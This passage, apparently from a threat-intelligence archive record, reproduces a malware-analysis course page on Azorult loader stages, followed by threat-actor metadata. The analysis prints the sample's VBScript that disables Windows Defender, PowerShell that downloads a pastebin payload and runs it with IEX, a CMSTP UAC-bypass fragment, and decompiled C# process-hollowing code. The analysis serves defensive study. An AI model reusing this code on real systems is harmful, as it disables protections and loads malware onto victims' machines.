Defender\\Real-Time Protection\\DisableScan\r\nWScript.Sleep 100\r\noutputMessage(\"Set-MpPreference -DisableRealtimeMonitoring $true\")\r\noutputMessage(\"Set-MpPreference -DisableBehaviorMonitoring $true\")\r\noutputMessage(\"Set-MpPreference -DisableBlockAtFirstSeen $true\")\r\noutputMessage(\"Set-MpPreference -DisableIOAVProtection $true\")\r\noutputMessage(\"Set-MpPreference -DisableScriptScanning $true\")\r\noutputMessage(\"Set-MpPreference -SubmitSamplesConsent 2\")\r\noutputMessage(\"Set-MpPreference -MAPSReporting 0\")\r\noutputMessage(\"Set-MpPreference -HighThreatDefaultAction 6 -Force\")\r\noutputMessage(\"Set-MpPreference -ModerateThreatDefaultAction 6\")\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 15 of 30\n\noutputMessage(\"Set-MpPreference -LowThreatDefaultAction 6\")\r\noutputMessage(\"Set-MpPreference -SevereThreatDefaultAction 6\")\r\nSub outputMessage(byval args)\r\nOn Error Resume Next\r\nSet objShell = CreateObject(\"Wscript.shell\")\r\nobjShell.run(\"powershell \" + args), 0\r\nEnd Sub\r\ntaskkill /IM cmstp.exe /F\r\n[CustInstDestSectionAllUsers]\r\n49000,49001=AllUSer_LDIDSection, 7\r\n[AllUSer_LDIDSection]\r\n\\\"HKLM\\\", \\\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\CMMGR32.EXE\\\", \\\"ProfileInstallP\r\n[Strings]\r\nServiceName=\\\"NyanCat\\\"\r\nShortSvcName=\\\"NyanCat\\\"\r\nBy evading the User Account Control, the script can run with elevated privileges, and thus disable Windows\r\nDefender succesfully.\r\nStage 5 – Loading Azorult\r\nThe last stage uses two binaries. The first one is a base64 encoded PowerShell script, which is decoded and then\r\nexecuted. The code that is used in the malware to achieve this, is given below.\r\n$t= New-Object -Com Microsoft.XMLHTTP;\r\n$t.open('GET','https://pastebin.com/raw/5sfgNap6',$false);\r\n$t.send();\r\n$ty=[Text.Encoding]::'UTF8'.'GetString'([Convert]::'FromBase64String'($t.responseText))|IEX;\r\nOne can simply save the base64 encoded string at the given address, decode it, and store it in a file. Upon doing\r\nso, the following script becomes visible.\r\nfunction Get-DecompressedByteArray {\r\n[CmdletBinding()]\r\n Param ([byte[]] $byteArray)\r\nProcess {\r\n Write-Verbose \"Get-DecompressedByteArray\"\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 16 of 30\n\n$input = New-Object System.IO.MemoryStream( , $byteArray )\r\n $output = New-Object System.IO.MemoryStream\r\n $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.Compre\r\n $buffer = New-Object byte[](1024)\r\n while($true){\r\n $read = $gzipstream.Read($buffer, 0, 1024)\r\n if ($read -le 0){break}\r\n $output.Write($buffer, 0, $read)\r\n }\r\n[byte[]] $byteOutArray = $output.ToArray()\r\n Write-Output $byteOutArray\r\n }\r\n}\r\n$t0='DEX'.replace('D','I');sal g $t0;[Byte[]]$Cli=('!1F,!8B,!08,[...],!F8,!00,!00'.replace('!','0x')\r\n[byte[]]$decompressedByteArray = Get-DecompressedByteArray $Cli\r\nBy appending the following code, one can save the Dot Net binary.\r\n$decompressedByteArray | Set-Content stage5-loader.dll -Encoding Byte\r\nInspecting it using dnSpy reveals that it is obfuscated using ConfuserEx v1.0.0. To deobfuscate the binary, one can\r\nuse de4dot-cex, which is a modified version of de4dot and supports the deobfuscation of this version of\r\nConfuserEx. Provide the binary as the sole argument to the program, and the deobfuscated binray will be created\r\nin the same directory, as can be seen below.\r\nPS C:\\Users\\user\\Desktop\\de4dot-cex\u003e ./de4dot stage5-loader.dll\r\nde4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com\r\nLatest version and source code: https://github.com/0xd4d/de4dot\r\nDetected ConfuserEx v1.0.0 (C:\\Users\\user\\Desktop\\stage5-loader.dll)\r\nCleaning C:\\Users\\John\\Desktop\\stage5-loader.dll\r\nRenaming all obfuscated symbols\r\nSaving C:\\Users\\user\\Desktop\\stage5-loader-cleaned.dll\r\nPress any key to exit...\r\nWhen opening the cleaned binary in dnSpy, one can read the code normally.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 17 of 30\n\nBased on the way the binary is loaded, the function (and the class it resides in) is known. Addtionally, the\r\nparameters are known: “svchost.exe” and the newly obtained byte array. The code is given below.\r\n[Byte[]]$Cli2= iex(iex('(\u0026(GCM *W-O*)'+ 'Net.WebClient).DownloadString(''https://pastebin.com/raw/82G\r\n$t=[System.Reflection.Assembly]::Load($decompressedByteArray);\r\n[Givara]::FreeDom('svchost.exe',$Cli2)\r\nThe FeeDom function within the Givara class is given below.\r\n// Token: 0x02000004 RID: 4\r\npublic class Givara\r\n{\r\n // Token: 0x06000023 RID: 35 RVA: 0x000023F0 File Offset: 0x000005F0\r\n public static void FreeDom(string FTONJ, byte[] coco)\r\n {\r\n HeHe heHe = new HeHe();\r\n heHe.Daym(FTONJ, coco);\r\n }\r\n}\r\nThis function instantiates a new object and calls a function that is present within the object. The Daym function is\r\ngiven below.\r\n// Token: 0x0600001C RID: 28 RVA: 0x000022D4 File Offset: 0x000004D4\r\npublic void Daym(string FTONJ, byte[] coco)\r\n{\r\n try\r\n {\r\n string text = HeHe.smethod_1(\"C:\\\\WINDOWS\\\\syswow64\\\\\", FTONJ);\r\n string text2 = HeHe.smethod_1(\"C:\\\\WINDOWS\\\\system32\\\\\", FTONJ);\r\n string text3 = HeHe.smethod_1(\"C:\\\\WINDOWS\\\\\", FTONJ);\r\n string text4 = HeHe.smethod_1(\"C:\\\\WINDOWS\\\\syswow64\\\\WindowsPowerShell\\\\v1.0\\\\\", FTONJ);\r\n string text5 = HeHe.smethod_1(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\\", FTONJ);\r\n if (HeHe.smethod_2(text))\r\n {\r\n HeHe.tickleme(text, coco);\r\n }\r\n else if (!HeHe.smethod_2(text2))\r\n {\r\n if (!HeHe.smethod_2(text3))\r\n {\r\n if (!HeHe.smethod_2(text4))\r\n {\r\n if (!HeHe.smethod_2(text5))\r\n {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 18 of 30\n\nHeHe.tickleme(HeHe.smethod_1(HeHe.smethod_4(HeHe.smethod_3(), \"Framework64\",\r\n }\r\n else\r\n {\r\n HeHe.tickleme(text5, coco);\r\n }\r\n }\r\n else\r\n {\r\n HeHe.tickleme(text4, coco);\r\n }\r\n }\r\n else\r\n {\r\n HeHe.tickleme(text3, coco);\r\n }\r\n }\r\n else\r\n {\r\n HeHe.tickleme(text2, coco);\r\n }\r\n }\r\n catch\r\n {\r\n }\r\n}\r\nTo understand this function, several other functions need to be analysed first, as they are called within the code\r\nthat is given above. The first two functions are given below.\r\n// Token: 0x0600001F RID: 31 RVA: 0x0000206B File Offset: 0x0000026B\r\nstatic string smethod_1(string string_0, string string_1)\r\n{\r\n return string_0 + string_1;\r\n}\r\n// Token: 0x06000020 RID: 32 RVA: 0x000020F2 File Offset: 0x000002F2\r\nstatic bool smethod_2(string string_0)\r\n{\r\n return File.Exists(string_0);\r\n}\r\nThe first function simply concatenates the two given strings, whereas the second function checks if a file exists,\r\nbased on the given path.\r\nThe functions smethod_3 and smethod_4 are given below.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 19 of 30\n\n// Token: 0x06000021 RID: 33 RVA: 0x000020FA File Offset: 0x000002FA\r\nstatic string smethod_3()\r\n{\r\nreturn RuntimeEnvironment.GetRuntimeDirectory();\r\n}\r\n// Token: 0x06000022 RID: 34 RVA: 0x00002101 File Offset: 0x00000301\r\nstatic string smethod_4(string string_0, string string_1, string string_2)\r\n{\r\n return string_0.Replace(string_1, string_2);\r\n}\r\nThe third function gets the directory of the Dot Net runtime. The fourth function replaces the value of string_1\r\nwith string_2 in string_0.\r\nThis clarifies the Daym function above, as it appends the FTONJ variable to several paths. The value of FTONJ is\r\nequal to svchost.exe, since the variable was passed throughout all function calls prior to this. After that, the\r\nexistence of the file is checked. If it does not exist, the next path is tried. Once it is found, the tickleme function is\r\ncalled. The function is given below.\r\n// Token: 0x0600001D RID: 29 RVA: 0x000023B4 File Offset: 0x000005B4\r\npublic static object tickleme(string b, byte[] PL)\r\n{\r\n object result;\r\n try\r\n {\r\n Fuck.FUN(b, PL, true);\r\n result = 0;\r\n }\r\n catch\r\n {\r\n result = 0;\r\n }\r\n return result;\r\n}\r\nThis function simply calls the FUN function, which resides in the class named Fuck. The FUN function is given\r\nbelow.\r\n// Token: 0x06000032 RID: 50 RVA: 0x00002474 File Offset: 0x00000674\r\npublic static bool FUN(string path, byte[] data, bool protect)\r\n{\r\n bool result;\r\n try\r\n {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 20 of 30\n\nfor (int i = 1; i \u003c= 5; i++)\r\n {\r\n if (Fuck.smethod_1(path, data, protect))\r\n {\r\n return true;\r\n }\r\n }\r\n result = false;\r\n }\r\n catch\r\n {\r\n result = false;\r\n }\r\n return result;\r\n}\r\nThis method executes smethod_1 until the function succeeds, with a maximum of five tries. If none of these five\r\ntimes results in a successful exception, nor a return value of true from smethod_1, the function will return false.\r\nThis will cause the code to move on to the next call of the tickleme function within the Daym function, which will\r\neventually reach this point of the code again but then with a different path. This continues until the smethod_1 call\r\nin the FUN function is succesfull, or when all methods have been exhausted. The smethod_1 is given below in its\r\nentirety.\r\n// Token: 0x06000034 RID: 52 RVA: 0x000024F0 File Offset: 0x000006F0\r\nprivate static bool smethod_1(string string_1, byte[] byte_0, bool bool_0)\r\n{\r\n int num = 0;\r\n string commandLine = \"\\\"{path}\\\"\";\r\n Fuck.Struct1 @struct = default(Fuck.Struct1);\r\n Fuck.Struct0 struct2 = default(Fuck.Struct0);\r\n @struct.uint_0 = Fuck.smethod_5(Fuck.smethod_4(Fuck.smethod_2(typeof(Fuck.Struct1).TypeHandle)))\r\n try\r\n {\r\n if (!Fuck.delegate0_0(string_1, commandLine, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n MethodInfo methodBase_ = Fuck.smethod_2(typeof(BitConverter).TypeHandle).method_0(\"ToInt32\")\r\n object[] object_ = new object[]\r\n {\r\n byte_0,\r\n 60\r\n };\r\n int num2 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_));\r\n object[] object_2 = new object[]\r\n {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 21 of 30\n\nbyte_0,\r\n num2 + 26 + 26\r\n };\r\n int num3 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_2));\r\n int[] array = new int[179];\r\n array[0] = 65538;\r\n if (IntPtr.Size != 4)\r\n {\r\n if (!Fuck.delegate2_0(struct2.intptr_1, array))\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n }\r\n else if (!Fuck.delegate1_0(struct2.intptr_1, array))\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n int num4 = array[41];\r\n int num5 = 0;\r\n if (!Fuck.delegate5_0(struct2.intptr_0, num4 + 4 + 4, ref num5, 4, ref num))\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n if (num3 == num5 \u0026\u0026 Fuck.delegate7_0(struct2.intptr_0, num5) != 0)\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n object[] object_3 = new object[]\r\n {\r\n byte_0,\r\n num2 + 80\r\n };\r\n int length = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_3));\r\n object[] object_4 = new object[]\r\n {\r\n byte_0,\r\n num2 + 42 + 42\r\n };\r\n int bufferSize = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_4));\r\n bool flag = false;\r\n int num6 = Fuck.delegate8_0(struct2.intptr_0, num3, length, 12288, 64);\r\n if (num6 == 0)\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n if (!Fuck.delegate6_0(struct2.intptr_0, num6, byte_0, bufferSize, ref num))\r\n {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 22 of 30\n\nthrow Fuck.smethod_6();\r\n }\r\n int num7 = num2 + 248;\r\n short num8 = Fuck.smethod_9(byte_0, num2 + 3 + 3);\r\n for (int i = 0; i \u003c (int)num8; i++)\r\n {\r\n object[] object_5 = new object[]\r\n {\r\n byte_0,\r\n num7 + 6 + 6\r\n };\r\n int num9 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_5));\r\n object[] object_6 = new object[]\r\n {\r\n byte_0,\r\n num7 + 8 + 8\r\n };\r\n int num10 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_6));\r\n object[] object_7 = new object[]\r\n {\r\n byte_0,\r\n num7 + 20\r\n };\r\n int num11 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_7));\r\n if (num10 != 0)\r\n {\r\n byte[] array2 = new byte[num10];\r\n MethodInfo methodBase_2 = Fuck.smethod_2(typeof(Buffer).TypeHandle).method_0(Fuck.sme\r\n object[] object_8 = new object[]\r\n {\r\n byte_0,\r\n num11,\r\n array2,\r\n 0,\r\n array2.Length\r\n };\r\n Fuck.smethod_7(methodBase_2, null, object_8);\r\n if (!Fuck.delegate6_0(struct2.intptr_0, num6 + num9, array2, array2.Length, ref num)\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n }\r\n num7 += 40;\r\n }\r\n byte[] buffer = Fuck.smethod_11(num6);\r\n if (!Fuck.delegate6_0(struct2.intptr_0, num4 + 8, buffer, 4, ref num))\r\n {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 23 of 30\n\nthrow Fuck.smethod_6();\r\n }\r\n object[] object_9 = new object[]\r\n {\r\n byte_0,\r\n num2 + 40\r\n };\r\n int num12 = Fuck.smethod_8(Fuck.smethod_7(methodBase_, null, object_9));\r\n if (flag)\r\n {\r\n num6 = num3;\r\n }\r\n array[44] = num6 + num12;\r\n if (IntPtr.Size != 4)\r\n {\r\n if (!Fuck.delegate4_0(struct2.intptr_1, array))\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n }\r\n else if (!Fuck.delegate3_0(struct2.intptr_1, array))\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n if (Fuck.delegate9_0(struct2.intptr_1) == -1)\r\n {\r\n throw Fuck.smethod_6();\r\n }\r\n }\r\n catch\r\n {\r\n Process object_10 = Fuck.smethod_13(Fuck.smethod_12(struct2.uint_0));\r\n Type type_ = Fuck.smethod_14(object_10);\r\n MethodInfo methodBase_3 = Fuck.smethod_15(type_, \"Kill\");\r\n Fuck.smethod_7(methodBase_3, object_10, null);\r\n return false;\r\n }\r\n return true;\r\n}\r\nTo make the code more readable, the code needs to be refactored. By analysing and renaming other functions and\r\nvariables first, the code becomes clearer.\r\nThe three arguments, string_1, byte_0, and bool_0 can be renamed into path, data, and protect respectively. This\r\nis based upon the variable names that are used when calling smethod_1 from FUN.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 24 of 30\n\nAll functions that are named smethod_N, where N is a number, are based upon a single line of code. As such,\r\nrenaming these can be done based upon their functionality. The exception here is smethod_0, which is used\r\ntogether with the FlipString function to instantiate nearly all delegates. The latter is given below.\r\n// Token: 0x06000035 RID: 53 RVA: 0x000029A0 File Offset: 0x00000BA0\r\npublic static string FlipString(string s)\r\n{\r\nchar[] array = toCharArray(s);\r\nstring text = string.Empty;\r\nfor (int i = array.Length - 1; i \u003e -1; i--)\r\n{\r\ntext += array[i].ToString();\r\n}\r\nreturn text;\r\n}\r\nThis function reverses the given string. Within all but one delegate instance, a string named string_0 is used. This\r\nstring is equal to reverse value of 23lenrek, which is kernel32. The delegate instances are given below.\r\n// Token: 0x04000005 RID: 5\r\nprivate static readonly Fuck.Delegate0 delegate0_0 = Fuck.smethod_0\u003cFuck.Delegate0\u003e(Fuck.string_0, Fu\r\n// Token: 0x04000006 RID: 6\r\nprivate static readonly Fuck.Delegate1 delegate1_0 = Fuck.smethod_0\u003cFuck.Delegate1\u003e(Fuck.string_0, Fu\r\n// Token: 0x04000007 RID: 7\r\nprivate static readonly Fuck.Delegate2 delegate2_0 = Fuck.smethod_0\u003cFuck.Delegate2\u003e(Fuck.string_0, Fu\r\n// Token: 0x04000008 RID: 8\r\nprivate static readonly Fuck.Delegate3 delegate3_0 = Fuck.smethod_0\u003cFuck.Delegate3\u003e(Fuck.string_0, Fu\r\n// Token: 0x04000009 RID: 9\r\nprivate static readonly Fuck.Delegate4 delegate4_0 = Fuck.smethod_0\u003cFuck.Delegate4\u003e(Fuck.string_0, Fu\r\n// Token: 0x0400000A RID: 10\r\nprivate static readonly Fuck.Delegate5 delegate5_0 = Fuck.smethod_0\u003cFuck.Delegate5\u003e(Fuck.string_0, Fu\r\n// Token: 0x0400000B RID: 11\r\nprivate static readonly Fuck.Delegate6 delegate6_0 = Fuck.smethod_0\u003cFuck.Delegate6\u003e(Fuck.string_0, Fu\r\n// Token: 0x0400000C RID: 12\r\nprivate static readonly Fuck.Delegate7 delegate7_0 = Fuck.smethod_0\u003cFuck.Delegate7\u003e(Fuck.FlipString(\r\n// Token: 0x0400000D RID: 13\r\nprivate static readonly Fuck.Delegate8 delegate8_0 = Fuck.smethod_0\u003cFuck.Delegate8\u003e(Fuck.string_0, Fu\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 25 of 30\n\n// Token: 0x0400000E RID: 14\r\nprivate static readonly Fuck.Delegate9 delegate9_0 = Fuck.smethod_0\u003cFuck.Delegate9\u003e(Fuck.string_0, Fu\r\nEach instance represents a function that is used to inject the malware into the malicious code. Refactoring each\r\ndelegate will further clean the code. Below, the Fuck.smethod_1 is given with the refactored arguments, function\r\nnames, and delegate names.\r\n// Token: 0x06000034 RID: 52 RVA: 0x000024F0 File Offset: 0x000006F0\r\nprivate static bool smethod_1(string path, byte[] data, bool protect)\r\n{\r\n int num = 0;\r\n string commandLine = \"\\\"{path}\\\"\";\r\n Fuck.Struct1 @struct = default(Fuck.Struct1);\r\n Fuck.Struct0 struct2 = default(Fuck.Struct0);\r\n @struct.uint_0 = toUInt32(sizeOf(getTypeFromHandle(typeof(Fuck.Struct1).TypeHandle)));\r\n try\r\n {\r\n if (!delegateCreateProcessA(path, commandLine, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Ze\r\n {\r\n throw throwException();\r\n }\r\n MethodInfo methodBase_ = getTypeFromHandle(typeof(BitConverter).TypeHandle).getMethod(\"ToInt3\r\n object[] object_ = new object[]\r\n {\r\n data,\r\n 60\r\n };\r\n int num2 = toInt32(invokeWithTwoArguments(methodBase_, null, object_));\r\n object[] object_2 = new object[]\r\n {\r\n data,\r\n num2 + 26 + 26\r\n };\r\n int num3 = toInt32(invokeWithTwoArguments(methodBase_, null, object_2));\r\n int[] array = new int[179];\r\n array[0] = 65538;\r\n if (IntPtr.Size != 4)\r\n {\r\n if (!delegateWow64GetThreadContext(struct2.intptr_1, array))\r\n {\r\n throw throwException();\r\n }\r\n }\r\n else if (!delegateGetThreadContext(struct2.intptr_1, array))\r\n {\r\n throw throwException();\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 26 of 30\n\n}\r\n int num4 = array[41];\r\n int num5 = 0;\r\n if (!delegateReadProcessMemory(struct2.intptr_0, num4 + 4 + 4, ref num5, 4, ref num))\r\n {\r\n throw throwException();\r\n }\r\n if (num3 == num5 \u0026\u0026 delegateZwUnmapViewOfSection(struct2.intptr_0, num5) != 0)\r\n {\r\n throw throwException();\r\n }\r\n object[] object_3 = new object[]\r\n {\r\n data,\r\n num2 + 80\r\n };\r\n int length = toInt32(invokeWithTwoArguments(methodBase_, null, object_3));\r\n object[] object_4 = new object[]\r\n {\r\n data,\r\n num2 + 42 + 42\r\n };\r\n int bufferSize = toInt32(invokeWithTwoArguments(methodBase_, null, object_4));\r\n bool flag = false;\r\n int num6 = delegateVirtualAllocEx(struct2.intptr_0, num3, length, 12288, 64);\r\n if (num6 == 0)\r\n {\r\n throw throwException();\r\n }\r\n if (!delegateWriteProcessMemory(struct2.intptr_0, num6, data, bufferSize, ref num))\r\n {\r\n throw throwException();\r\n }\r\n int num7 = num2 + 248;\r\n short num8 = toInt16(data, num2 + 3 + 3);\r\n for (int i = 0; i \u003c (int)num8; i++)\r\n {\r\n object[] object_5 = new object[]\r\n {\r\n data,\r\n num7 + 6 + 6\r\n };\r\n int num9 = toInt32(invokeWithTwoArguments(methodBase_, null, object_5));\r\n object[] object_6 = new object[]\r\n {\r\n data,\r\n num7 + 8 + 8\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 27 of 30\n\n};\r\n int num10 = toInt32(invokeWithTwoArguments(methodBase_, null, object_6));\r\n object[] object_7 = new object[]\r\n {\r\n data,\r\n num7 + 20\r\n };\r\n int num11 = toInt32(invokeWithTwoArguments(methodBase_, null, object_7));\r\n if (num10 != 0)\r\n {\r\n byte[] array2 = new byte[num10];\r\n MethodInfo methodBase_2 = getTypeFromHandle(typeof(Buffer).TypeHandle).getMethod(stri\r\n object[] object_8 = new object[]\r\n {\r\n data,\r\n num11,\r\n array2,\r\n 0,\r\n array2.Length\r\n };\r\n invokeWithTwoArguments(methodBase_2, null, object_8);\r\n if (!delegateWriteProcessMemory(struct2.intptr_0, num6 + num9, array2, array2.Length\r\n {\r\n throw throwException();\r\n }\r\n }\r\n num7 += 40;\r\n }\r\n byte[] buffer = convertIntToBytes(num6);\r\n if (!delegateWriteProcessMemory(struct2.intptr_0, num4 + 8, buffer, 4, ref num))\r\n {\r\n throw throwException();\r\n }\r\n object[] object_9 = new object[]\r\n {\r\n data,\r\n num2 + 40\r\n };\r\n int num12 = toInt32(invokeWithTwoArguments(methodBase_, null, object_9));\r\n if (flag)\r\n {\r\n num6 = num3;\r\n }\r\n array[44] = num6 + num12;\r\n if (IntPtr.Size != 4)\r\n {\r\n if (!delegateWow64SetThreadContext(struct2.intptr_1, array))\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 28 of 30\n\n{\r\n throw throwException();\r\n }\r\n }\r\n else if (!delegateSetThreadContext(struct2.intptr_1, array))\r\n {\r\n throw throwException();\r\n }\r\n if (delegateResumeThread(struct2.intptr_1) == -1)\r\n {\r\n throw throwException();\r\n }\r\n }\r\n catch\r\n {\r\n Process object_10 = getProccessById(toInt32_also(struct2.uint_0));\r\n Type type_ = getType(object_10);\r\n MethodInfo methodBase_3 = useObjectGetMethod(type_, \"Kill\");\r\n invokeWithTwoArguments(methodBase_3, object_10, null);\r\n return false;\r\n }\r\n return true;\r\n}\r\nIn the code above, an injection technique named Process Hollowing is used, as can be read about on the MITRE\r\nsite.\r\nThe function above uses several system calls, where an instance of svchost is launched using the CreateProcessA\r\nfunction. The dwCreationFlags argument equals 4, which is equal to CREATE_SUSPENDED, as can be seen here.\r\nThis means that the process is created, but not started.\r\nAfter that, a check is done based upon the size of a pointer. If the pointer pointer size is not equal to 4 bytes\r\n(which equals 32-bits), the system architecture is 64-bits. Based on that, either GetThreadContext\r\nWow64GetThreadContext is called. On 64-bit systems,the Wow64* name stands for Windows on Windows, as can\r\nbe read in the documentation.\r\nA call is then made to the ReadProcessMemory function to read the data of the svchost process. Using\r\nZwUnmapViewOfSection, a view is unmapped from the process. A view is part of a process’ memory. A new\r\nmemory segment is allocated using VirtualAllocEx, to which the Azorult binary is then written using\r\nWriteProcessMemory. Before resuming the thread with ResumeThread, the system should know where to continue\r\nthe execution, which is done with either SetThreadContext or Wow64SetThreadContext, based on the bitness of the\r\nsystem. At last, the function returns true.\r\nIf anything goes wrong during this process, the svchost process is killed, and the value false is returned.\r\nThe used code, before the obfuscation was applied, can be found here.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 29 of 30\n\nThis way, the Azorult binary is loaded into a hollowed instance of svchost, after which it is executed.\r\nConclusion\r\nA single Excel document resulted in an attack that consisted of programs and scripts written in several languages:\r\nVBA, JavaScript, VBScript, PowerShell, and C#. Additionally, the UAC was bypassed, most of the execution was\r\ndone in-memory, Living of the Land Binaries were used, Windows Defender was disabled, and a process injection\r\ntechnique was used.\r\nIt is easy to get lost in the details of such an attack, due to the amount of stages, languages and techniques. Making\r\nnotes along the way helps a great deal, as well as mapping the stages, be it mentally, digitally, or on paper.\r\nTo contact me, you can e-mail me at [info][at][maxkersten][dot][nl], or DM me on BlueSky @maxkersten.nl.\r\nSource: https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 30 of 30",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/"
	],
	"report_names": [
		"azorult-loader-stages"
	],
	"threat_actors": [
		{
			"id": "414d7c65-5872-4e56-8a7d-49a2aeef1632",
			"created_at": "2025-08-07T02:03:24.7983Z",
			"updated_at": "2026-04-10T02:00:03.76109Z",
			"deleted_at": null,
			"main_name": "COPPER FIELDSTONE",
			"aliases": [
				"APT36 ",
				"Earth Karkaddan ",
				"Gorgon Group ",
				"Green Havildar ",
				"Mythic Leopard ",
				"Operation C-Major ",
				"Operation Transparent Tribe ",
				"Pasty Draco ",
				"ProjectM ",
				"Storm-0156 "
			],
			"source_name": "Secureworks:COPPER FIELDSTONE",
			"tools": [
				"CapraRAT",
				"Crimson RAT",
				"DarkComet",
				"ElizaRAT",
				"LuminosityLink",
				"ObliqueRAT",
				"Peppy",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "18278778-fa63-4a9a-8988-4d266b8c5c1a",
			"created_at": "2023-01-06T13:46:38.769816Z",
			"updated_at": "2026-04-10T02:00:03.094179Z",
			"deleted_at": null,
			"main_name": "The Gorgon Group",
			"aliases": [
				"Gorgon Group",
				"Subaat",
				"ATK92",
				"G0078",
				"Pasty Gemini"
			],
			"source_name": "MISPGALAXY:The Gorgon Group",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "97fdaf9f-cae1-4ccc-abe2-76e5cbc0febd",
			"created_at": "2022-10-25T15:50:23.296989Z",
			"updated_at": "2026-04-10T02:00:05.347085Z",
			"deleted_at": null,
			"main_name": "Gorgon Group",
			"aliases": [
				"Gorgon Group"
			],
			"source_name": "MITRE:Gorgon Group",
			"tools": [
				"NanoCore",
				"QuasarRAT",
				"Remcos",
				"njRAT"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "6c4e4b91-1f98-49e2-90e6-435cea8d3d53",
			"created_at": "2022-10-25T16:07:23.693797Z",
			"updated_at": "2026-04-10T02:00:04.711987Z",
			"deleted_at": null,
			"main_name": "Gorgon Group",
			"aliases": [
				"ATK 92",
				"G0078",
				"Pasty Draco",
				"Subaat",
				"TAG-CR5"
			],
			"source_name": "ETDA:Gorgon Group",
			"tools": [
				"AgenTesla",
				"Agent Tesla",
				"AgentTesla",
				"Atros2.CKPN",
				"Bladabindi",
				"CinaRAT",
				"Crimson RAT",
				"ForeIT",
				"Jorik",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Loki",
				"Loki.Rat",
				"LokiBot",
				"LokiPWS",
				"MSIL",
				"MSIL/Crimson",
				"Nancrat",
				"NanoCore",
				"NanoCore RAT",
				"Negasteal",
				"NetWeird",
				"NetWire",
				"NetWire RAT",
				"NetWire RC",
				"NetWired RC",
				"Origin Logger",
				"Quasar RAT",
				"QuasarRAT",
				"Recam",
				"Remcos",
				"RemcosRAT",
				"Remvio",
				"Revenge RAT",
				"RevengeRAT",
				"Revetrat",
				"SEEDOOR",
				"Scarimson",
				"Socmer",
				"Yggdrasil",
				"ZPAQ",
				"Zurten",
				"njRAT"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434138,
	"ts_updated_at": 1775792156,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/cd9635a2bc937e47bcb5f63380546d3115fcd7d9.pdf",
		"text": "https://archive.orkl.eu/cd9635a2bc937e47bcb5f63380546d3115fcd7d9.txt",
		"img": "https://archive.orkl.eu/cd9635a2bc937e47bcb5f63380546d3115fcd7d9.jpg"
	}
}